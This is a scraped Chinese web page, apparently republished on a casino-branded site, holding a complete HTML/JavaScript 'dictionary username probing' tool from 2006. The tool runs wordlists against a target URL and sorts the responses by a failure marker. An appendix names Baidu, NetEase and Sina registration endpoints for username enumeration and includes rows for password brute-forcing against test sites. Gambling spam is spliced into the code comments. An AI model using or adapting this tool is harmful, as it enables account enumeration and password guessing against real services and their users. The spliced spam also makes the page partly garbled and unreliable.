xml地图|网站地图|网站标签 [设为首页] [加入收藏]

美高梅游戏网站

当前位置:美高梅游戏网站 > 美高梅游戏网站 > javascript字典探测顾客名工具

javascript字典探测顾客名工具

来源:http://www.gd-chuangmei.com 作者:美高梅游戏网站 时间:2019-09-07 22:00

<html>
<head>
<style>
body         { font-size: 10pt; background-color:#D4D0C8 }
td           { font-size: 9pt }
</style>
</head>

<script language="javascript">

/*
程序标题:javascript字典探测用户名工具
发布时间:2006年8月
文章作者:翟振凯 (小琦)
作者网站:    
作者论坛:
演示地址:
QQ:22336848 53353866
关于本文:
    授人予鱼,不如授人予渔。本程序的核心代码处,都有详细的注解,
    目地是让大家了解一个程序的开发过程和这个程序功能的实现原理,
    而不仅仅是给大家提供一个这样的工具。希望看过本文后的朋友会有
    所收获,能和我共同分享用javascript编写程序的乐趣。
*/

//尝试用IE浏览器的方式创建XMLHttpRequest对象
var xmlhttp = null; 
try 

    xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");  

catch(e) 

    try 
    { 
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    } 
    catch(e){
        alert("您的浏览器不能创建XMLHttpRequest对象,无法使用此程序!");
    } 

//尝试用IE浏览器的方式创建XMLHttpRequest对象结束

/*
翟振凯注:MSXML2.XMLHTTP 和 Microsoft.XMLHTTP 都是微软的XMLHTTP控件,只是版本不同。
美高梅棋牌,          IE的安全级别如果不是太高,微软的XMLHTTP控件是可以跨域获取数据的。
          因为 Mozilla Firefox 浏览器的 XMLHttpRequest() 不能跨域获取数据,我们就不用 XMLHttpRequest() 方法创建XMLHTTP对象了。
*/

//对返回的中文编码处理 作者:翟振凯
function Rec_Html(Html)
{
    var Rec=new ActiveXObject("ADODB.RecordSet");    
    Rec.Fields.Append("xiaoqi",201,1);    
    Rec.Open();    
    Rec.AddNew();    
    Rec(0).AppendChunk(Html);    
    Rec.Update();    
    return Rec(0).Value;
    Rec.Close();
}
//对返回的中文编码处理结束

//开始探测 参数为要探测的当前值 
function geturl(id)
{
try{
           xmlhttp.open("GET",url.value+id,false);//定义数据传送方式,服务网页的URL(探测地址+探测值),是否同步执行
           xmlhttp.onreadystatechange = function() {//xmlhttp 触发事件

          if(xmlhttp.readyState==4)//xmlhttp对象状态如果为完成
          {    
          if(xmlhttp.status==200)    //如果服务器返回的状态码为200(成功)
美高梅游戏官网娱乐,          {  

                 //对结果的中文编码转换判断
                 if(err.value.replace(/[^W]/g,'').length=0)
                 /*关于转换判断的注:
                   例如:"翟振凯".replace(/[^W]/g,'').length          返回结果 3 
                        "翟振凯22336848".replace(/[^W]/g,'').length  返回结果 3
                        "xiaoqi22336848".replace(/[^W]/g,'').length  返回结果 0
                        "小琦22336848".replace(/[^W]/g,'').length    返回结果 2
                   replace(/[^W]/g,'')的功能是把字符串里的英文和数字都清除掉。
                  */
                    {
                            Html=xmlhttp.responseText;//不转换
                    }
                 else 
                     {
                             Html=Rec_Html(xmlhttp.responseBody);//转换
                    }
                 //对结果的中文编码转换判断结束

                                        
                 // 根据判断依据区分可用或不可用的值!
                 if(Html.indexOf(err.value,0)<0)
                     {
                            x_1.innerHTML=x_1.innerHTML+"<nobr> "+id;//输出可用值
                     }
                 else 
                     {
                            x_2.innerHTML=x_2.innerHTML+"<nobr> "+id;//输出不可用值
                     }
                 // 根据判断依据区分可用或不可用的值!
          }    
          }    
          }    
           xmlhttp.send();
          }    
catch(e)    

x_2.innerHTML=x_2.innerHTML+"<nobr> "+id+"超时!";//输出异常或超时的值。
}           
}
//开始探测结束

//载入本地字典文件,并把内容定义为数组
function kaishi(){ 
        fileFullPath=dic_url.value;
        xmlhttp.open("GET",fileFullPath,false);//载入字典文件方法
        xmlhttp.send();

        Html=Rec_Html(xmlhttp.responseBody);//中文编码转换        
        dic=Html.split('rn');//以换行符将载入的字典内容转换为数组    
        sl.value=dic.length;//告诉用户要探测的次数(数组大小)

xunhuan()//成功载入后开始循环探测。
}
//载入本地字典文件,并把内容定义为数组结束

//循环探测
function xunhuan()
{
        bar=parseInt(jd.value);//将进度值转换为整数
        if(bar<sl.value)//判断是否探测完
        {
                for(i=0;i<parseInt(jc.value);i++){//设定探测线程
                        geturl(dic[bar+i]);//从数组内取值进行探测               
                }

                jd.value=bar+parseInt(jc.value);//累加探测进度,并向用户呈现当前进度
                setTimeout("xunhuan()",parseInt(hc.value*1000));//根据缓冲时间来进行重复循环探测        
        }
        else//如果进度不小于要探测的次数,就向用户返回探测完成的结果。
        {
                alert("探测完成!");
        }
}
//循环探测结束

//暂停探测函数
function pause(obj)
{
    if(obj.value=='暂停')
        {
        obj.temp=hc.value;//记忆原来的缓冲时间。
        hc.value=5000;//将缓冲时间设置为5000秒,这个值自己可以修改。
        obj.value='继续';//改变按钮显示状态
        } 
    else 
        {
        hc.value=obj.temp;//提取原来的缓冲时间。
        obj.value='暂停';//改变按钮显示状态
        kaishi()//继续探测
        }
}
//暂停探测函数结束

function ck()//单个值探测验证检查
{
    if (url.value.length<5){alert('请输入要探测地址!');return};
    if (id_one.value.length<1){alert('请输入要探测的值!');return};
    geturl(id_one.value)
}

function ck1()//批量值探测验证检查
{
    if (url.value.length<5){alert("请输入要探测地址!");return}
    if (err.value.length<1){alert("请输入不可用标记!");return}
    if (dic_url.value.length<5){alert("请先选择字典文件!");return}
    jd.value=0;
    kaishi()
}
</script>

<body>

程序作者:翟振凯  注:如果无法使用,或结果显示超时,请将本页下载到本地计算机上使用。
<fieldset >
<legend>探测设置</legend>
<table border="1" width="100%" bordercolorlight="#E6E6E6" cellspacing="0" bordercolordark="#D4D0C8">
    <tr>
        <td>探测地址</td>
        <td>
        <input type="text" id="url" size="63" value=";
    </tr>
    <tr>
        <td>失败包涵标记 </td>
        <td><input type="text" id="err" size="63" value="不正确"></td>
    </tr>
    <tr>
        <td>测试单个值</td>
        <td><input type="text" id="id_one" size="20">
        <input type="button" value="探测" onclick="ck();"> </td>
    </tr>
    <tr>
        <td>选择字典文件</td>
        <td><input type="file" name="dic_url" size="20" value="">
        <input type="button" value="开始" onclick="ck1();">
        <input type="button" value="暂停" temp="" onclick="pause(this)">
        <input type="button" value="清除可用结果" onclick="x_1.innerHTML=''">
        <input type="button" value="清除不可用结果" onclick="x_2.innerHTML=''">
        </td>
    </tr>
    <tr>
        <td>高级参数</td>
        <td>
        每次探测:<input type="text" id="jc" value="1" size="3"> 个  
        缓冲时间:<input type="text" id="hc" value="0.1" size="3"> 秒  
        进度:<input type="text" id="jd" value="0" size="12">  
        探测数量:<input type="text" id="sl" size="13">
        </td>
    </tr>
</table>
</fieldset> 

<fieldset>
<legend>可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_1"></span></div></fieldset>

<fieldset>
<legend>不可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_2"></span></div>
</fieldset>

 <p>附录:</p>
<table border="1" width="100%" id="table1" cellspacing="0" cellpadding="3">
    <tr style="font-weight: bold; background-color: #C0C0C0">
        <td width="111">测试字典文件地址</td>
        <td width="633" colspan="3"><span style="font-weight: 400">
        <font size="3">;
    </tr>
    <tr style="font-weight: bold; background-color: #C0C0C0">
        <td width="111">网站名</td>
        <td width="435">入口</td>
        <td width="83">不可用标记</td>
        <td width="105">备注</td>
    </tr>
    <tr>
        <td width="111">百度用户注册</td>
        <td width="435">;
        <td width="83">false</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">百度空间注册</td>
        <td width="435">;
        <td width="83">false</td>
        <td width="105">要先用百度用户登陆</td>
    </tr>
    <tr>
        <td width="111">网易通行证注册</td>
        <td width="435">;
        <td width="83">对不起</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">新浪通行证</td>
        <td width="435">
        <input type="text" size="57" value=";
        <td width="83">登录名被占用</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">测试网站用户密码暴力破解</td>
        <td width="435">
        ;
        <td width="83">不正确</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">测试网站用户密码暴力破解</td>
        <td width="435">
        ;
        <td width="83">不正确</td>
        <td width="105"> </td>
    </tr>
</table>
 <input type="hidden" id="dic1" value="ff"><input type="hidden" id="jc_id" value><p>
程序作者:翟振凯 开发日期:2006年8月<br>
作者网站:<a href=";
演示地址:<a href=";
程序打包下载地址:<a href=";
QQ:22336848</p></p>

</body>

</html>

head style body{font-size:10pt;background-color:#D4D0C8} td{font-size:9pt} /style /head scriptlanguage="javascript" /* 程序标题:javascript字典探测用户名工具 发布...

本文由美高梅游戏网站发布于美高梅游戏网站,转载请注明出处:javascript字典探测顾客名工具

关键词:

上一篇:[换皮肤程序]贰个相比使用的脚本程序

下一篇:没有了